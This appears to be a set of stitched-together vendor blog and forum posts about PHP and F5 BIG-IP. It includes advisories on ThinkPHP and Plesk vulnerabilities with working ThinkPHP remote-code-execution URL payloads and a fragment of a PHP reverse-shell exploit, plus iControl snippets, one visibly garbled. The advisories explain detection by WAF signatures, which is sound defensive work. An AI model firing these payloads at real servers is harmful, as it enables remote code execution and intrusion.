ThinkPHP 5.x Remote Code Execution Vulnerability
ThinkPHP is an open source PHP development framework for agile web application development. The framework is vastly adopted worldwide, a quick Shodan search shows more than40,000 active deployments. Recently, an unauthenticated remote code execution vulnerability was discovered in ThinkPHP, which was quickly adopted by large amount of threat actors who started scanning for vulnerable instances. The root cause of the vulnerability is the way that ThinkPHP parses the requested controller and executes the requested function. The patch committed to the Github repository by the maintainers showed that a regular expression validating the supplied controller name was added. Figure 1: Vulnerability patched by adding a Regular expression that validates the supplied controller name The reason for this addition is because ThinkPHP receives the requested module, controller and function to execute within a query parameter and splits it by using the â/â character as a delimiter. Figure 2: ThinkPHP splits the received string in order to get the module and controller names Once ThinkPHP parsed the controller name and function, it first creates an instance of the supplied controller name by using reflection and then executes the requested function. Figure 3: ThinkPHP creates an instance of the requested controller and executes the requested function The two publicly disclosed vectors leading to arbitrary command execution are attempting to load a valid class of ThinkPHP. The two payloads are: http://thinkphp/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l http://thinkphp/public/index.php?s=/index/\think\request/cache&key=ls%20-l|system The first attack vector will attempt to execute the âinvokeFunctionâ method of the ThinkPHP App class, which allows specifying an arbitrary function to execute and passes the required arguments for this function. Figure 4: invokeFunction method of ThinkPHP App class The second attack vector attempts to execute the cache function of ThinkPHP Request class which attempts to split between a function name and parameter by using the â|â character as delimiter. And, it later attempts to execute the function with its parameters. Figure 5: cache method of ThinkPHP Request class Mitigating the vulnerability with BIG-IP ASM BIG-IP ASM customers under any supported BIG-IP version are already protected against this vulnerability. The exploitation attempt will be detected by a dedicated attack signature recently released to mitigate the mentioned exploitation attempts which can be found in signature sets that include the âServer Side Code Injectionâ attack type or the âPHPâ system. Figure 6: Exploitation attempt blocked by signature id 200004481 Advanced WAF customers with Threat Intelligence subscription are protected with the following Threat Campaigns: - ThinkPHP Remote Code Execution - HelloThinkPHP - ThinkPHP Remote Code Execution - curl zz
Using "X-Forwarded-For" in Apache or PHP
An issue that often comes up for users of any full proxy-based product is that the original client IP address is often lost to the application or web server. This is because in a full proxy system there are two connections; one between the client and the proxy, and a second one between the proxy and the web server. Essentially, the web server sees the connection as coming from the proxy, not the client. Needless to say, this can cause problems if you want to know the IP address of the real client for logging, for troubleshooting, for tracking down bad guys, or performing IP address specific tasks such as geocoding. Maybe you're just like me and you're nosy, or you're like Don and you want the webalizer graphs to be a bit more interesting (just one host does not a cool traffic graph make, after all!). That's where the "X-Forwarded-For" HTTP header comes into play. Essentially the proxy can, if configured to do so, insert the original client IP address into a custom HTTP header so it can be retrieved by the server for processing. If you've got a BIG-IP you can simply enable the ability to insert the "X-Forwarded-For" header in the http profile. Check out the screen shot below to see just how easy it is. Yeah, it's that easy. If for some reason you can't enable this feature in the HTTP profile, you can write an iRule to do the same thing. when HTTP_REQUEST { HTTP::header insert "X-Forwarded-For" [IP::client_addr]} Yeah, that's pretty easy, too. So now that you're passing the value along, what do you do with it? Modifying Apache's Log Format Well, Joe has a post describing how to obtain this value in IIS. But that doesn't really help if you're not running IIS and like me have chosen to run a little web server you may have heard of called Apache. Configuring Apache to use the X-Forwarded-For instead of (or in conjunction with) the normal HTTP client header is pretty simple. ApacheWeek has a great article on how to incorporate custom fields into a log file, but here's the down and dirty. Open your configuration file (usually in /etc/httpd/conf/) and find the section describing the log formats. Then add the following to the log format you want to modify, or create a new one that includes this to extract the X-Forwarded-For value: %{X-Forwarded-For}i That's it. If you don't care about the proxy IP address, you can simply replace the traditional %h in the common log format with the new value, or you can add it as an additional header. Restart Apache and you're ready to go. Getting the X-Forwarded-For from PHP If you're like me, you might have written an application or site in PHP and for some reason you want the real client IP address, not the proxy IP address. Even though my BIG-IP has the X-Forwarded-For functionality enabled in the http profile, I still need to access that value from my code so I can store it in the database. $headers = apache_request_headers(); $real_client_ip = $headers["X-Forwarded-For"]; That's it, now I have the real IP address of the client, and not just the proxy's address. Happy Coding & Configuring! Imbibing: Coffee
Auto updates GeoIP database on Big IP.
Problem this snippet solves: Securely, auto updates multiple Big IP's, geoip database. Tested on Version 12.1.2, but should work for others. How to use this snippet: Must have PHP installed (tested on 7.0, 5.6 should work too) Install (on Ubuntu Server 12.04-16.04) sudo LC_ALL=C.UTF-8 add-apt-repository -y ppa:ondrej/php sudo apt-get -y install php7.0 php7.0-common php7.0-cli php7.0-curl php7.0-mcrypt php-ssh2 php-zip Then just issue on the CLI: php geoip_updater.php <downloads.f5.com https geoip file url - on location page> <optional, md5 file url> Modify script to enter your servers ip, hostnames, and Auth settings. Testing updating 8 BigIP's, in under 5 minutes. Due to limitations in how the file is offered on downloads.f5.com, you have to get the filename before running the script. Code : http://bit.ly/2uqeAI5 Tested this on version: 12.1
ThinkPHP 6.0.0 - 6.0.1 Arbitrary File Write Vulnerability
ThinkPHP is an open source PHP development framework for agile web application development. The framework is vastly adopted worldwide, a quick Shodan search shows more than 40,000 active deployments. On the 15 th of January a new vulnerability in ThinkPHP was disclosed after being patched by the vendor. The vulnerability allows the attacker to write or overwrite arbitrary files in the system. The root cause of the vulnerability is session management functionality using the user-controlled value of the session cookie as the name of a file saved in the file system. By using directory traversal, an attacker can save the file anywhere in the system. If the content of the file, which depends on a specific application logic, is also controllable, the attacker could write a web shell to the system and access it. It is important to note, that the session initiation is not enabled by default and requires a manual change in configuration. The vulnerability affects ThinkPHP versions 6.0.0 - 6.0.1. Technical details The attacker sends a custom PHPSESSID to the server: Figure 1:A request with user-controlled session cookie The server handles the request and uses the PHPSESSID cookie value to set the user's session: Figure 2:Setting the session ID with a user-controlled value The application verifies that the PHPSESSID value is a 32-byte string, if the condition is met than the session value is accepted and set: Figure 3:Verifying the value is a 32-byte string After establishing the session ID value, while constructing the response, the application saves the session information to a file with the session ID value as its name: Figure 4, 5:Writing a file to the system with the value of the session cookie Figure 6:The file created on the file system The vendor patched ThinkPHP and added an additional check for the PHPSESSID value allowing only alphanumeric characters, preventing the possibility of directory traversal: Mitigating the vulnerability with BIG-IP ASM BIG-IP ASM customers under any supported BIG-IP version are already protected against this vulnerability. While exploiting this vulnerability attacker will try to send payloads containing directory traversal. The exploitation attempt will be detected by existing attack signatures. Figure 8: Exploit blocked with Attack Signature (200000190) Figure 9: Exploit blocked with Attack Signature (200101550) In addition, if the attacker will try to inject PHP code to stored in the session file for further exploitation, it will be detected by signatures which can be found in signature sets that include "Command Execution" and "Server Side Code Injection" attack types or "PHP" system.Plesk Vulnerability
Recently weâve witnessed another example of a relatively old and specific vulnerability come to life using a very common and wide spread application. In this case it was the CVE-2012-1823 vulnerability, being exploited using the Plesk admin panel. This vulnerability allows remote code execution by using a bug in the PHP CGI wrapper, which allows injecting CGI options to the executable, as well as piping other shell commands. Plesk is a tool that allows automated deployment and centralized management of various system services such as: Web hosting, DNS and E-Mail. It is a widely used application, popular amongst independent SMBâs. This âout in the wildâ code-execution exploit attempts to upload PHP code onto the server, using the aforementioned vulnerability in the CGI module. Code injection is possible thanks to query data being passed unescaped directly to shell. This allows passing options to the CGI binary such as âr (execute code) and âd (define ini). In addition, command line pipe-lining is also possible because the entire argument is declared unquoted: #!/bin/sh exec /dh/cgi-system/php5.cgi $* By simply reviewing the source code of the exploit, no particular sophistication or elaborate attack pattern was found. It is a straight forward attack vector with PHP code in body, and CGI parameters in query. This part of the exploit sets the PHP-CGI flags: As we can see, the âd flag is used to declare some config line directives, and the ân flag to bypass the local php.ini. Then the payload is being sent, which is a PHP page that sets up a shell with a socket:. $pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip ='$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null;\$error_a = null; \$shell = '/bin/sh -i'; \$daemon = ... Issuing the exploit against an updated ASM version triggered the following signatures: 200004025 - PHP injection attempt ( <? ) 200004038 - PHP injection attempt ( posix_setsid ) 200100310 - "/bin" execution attempt (Parameter) 200100310 - Shell command (sh/ksh/etc) access (Value) 200100330 - PHP-CGI Shell Code Injection (v2) 200002437 - SQL-INJ "if(Expression,value,value)" (Parameter) The PHP and CGI signatures are quite expected, as well as the other command execution ones. As for the SQL-INJ signature, it could be considered a false positive since this attack was not SQL Injection. However, since the format of this signature resembles execution code as well as an SQL query â it is understandable why the PHP code located in the payload has triggered this signature.Getting Started with iControl and PHP
Problem this snippet solves: After a few years of trial and error, I've managed to learned the ins and outs of using the iControl API with PHP. It certainly wasn't an easy process, as the information available was few and far between. So.... Here it is!! iControl and PHP For this first example, we will build a PHP script that will query an LTM for all of the pools and members along with their availability status and connection counts. The first step in the script is to create a few variables for storing the username, password, and LTM IP address. We will also define the necessary WSDL objects for interacting with iControl. Code : "; echo ""; $sn = $_SERVER['SCRIPT_NAME']; echo " ";?>
Payload content to apply a rule
What is the payload content to apply a rule from the REST interface? I am currently using PHP to interface with the REST API and I can connect and list all the rules, but now I need to apply one of the rules and later on I need to remove it, but not delete it. Connecting to REST interface: https://devcentral.f5.com/codeshare/using-php-to-connect-to-icontrol-rest-interface-1172 Thank you, Emil
iControl examples in PHP5
Problem this snippet solves: PHP5 SOAP client web page widget examples to manipulate LTM Nodes, Pools, PoolMembers (deprecated), Virtual Servers, GTM Servers, Virtual Servers, WIP Pools, and WIPs. How to use this snippet: PHP5 SOAP client web page widget examples to manipulate LTM Nodes, Pools, PoolMembers (deprecated), Virtual Servers, GTM Servers, Virtual Servers, WIP Pools, and WIPs. function get_statistics($vs) { try { $soapClient = getSoapClient(); add_result("called LocalLB::VirtualServer::get_statistics",true); if(is_array($vs)) { return $soapClient->get_statistics($vs); }else{ return $soapClient->get_statistics(array($vs)); } }catch (Exception $e) { add_result("Error:".formatErrors($e->getMessage()),true); } }iControl - PHP - Errors, only on Linux.
Hi All, I'm pulling some hair out here trying to use PHP's built-in soapclient against F5 iControl, but it only appears to be when the script is run on it's destined Linux system. Works fine on my dev box which is Windows 7 SP1 (using XAMPP). The error I get is: SOAP-ERROR: Parsing WSDL: Couldn't load from 'https:///iControl/iControlPortal.cgi?WSDL=System.SystemInfo' : failed to load external entity "https:///iControl/iControlPortal.cgi?WSDL=System.SystemInfo" My Script looks like the following, which seems to be standard: $username = ""; $password = ""; $host = ""; $location = "https://$host/iControl/iControlPortal.cgi"; $client = new SoapClient(sprintf("%s?WSDL=%s", $location, "System.SystemInfo"),array('location'=>$location,'login'=>$username,'password'=>$password)); $systemInformation = $client->get_system_information(); $productInformation = $client->get_product_information(); I have suspected originally it was something to do with SSL verifying peers, allowing self certified certs and so forth, but no amount of stream_contexts makes a difference. Distributions I've tried running this on Arch, Centos and Ubuntu. I appreciate this may not be specifically an F5 iControl issue, but I would expect I'm not the only one to run into this issue... Surely? I can't use iControlREST at this time (I'd love to!) as I still have some pre-11.5.0 BIG-IPs on my estate Any advice would be greatly received! Thanks, JD.
In APM Customization, server's HTTP_HOST variable not set correctly? Any other way to get this?
I'm attempting to do some APM customization, and I'm trying to write some simple PHP that will substitute text on the page based on the Host header in the HTTP request (we are using this same policy on multiple virtual servers for multiple sites, and everything is identical except for some tiny verbiage changes on the logon page... I know I could probably break this into multiple policies, but I'd rather just have one so I don't have to manage multiple). Anyway, in trying to determine which site has been requested, I want to make a decision based on the Host header. I attempt to read it like this: It turns out that the value of $_SERVER['HTTP_HOST'] is "f5-server". I would understand that if I had asked for 'SERVER_NAME' rather than 'HTTP_HOST', but that's definitely not right for HTTP_HOST and is not what the user had in their host header. Does anyone have any idea about other ways to get the host header in PHP, or ways to get the Big-IP to correctly return it?
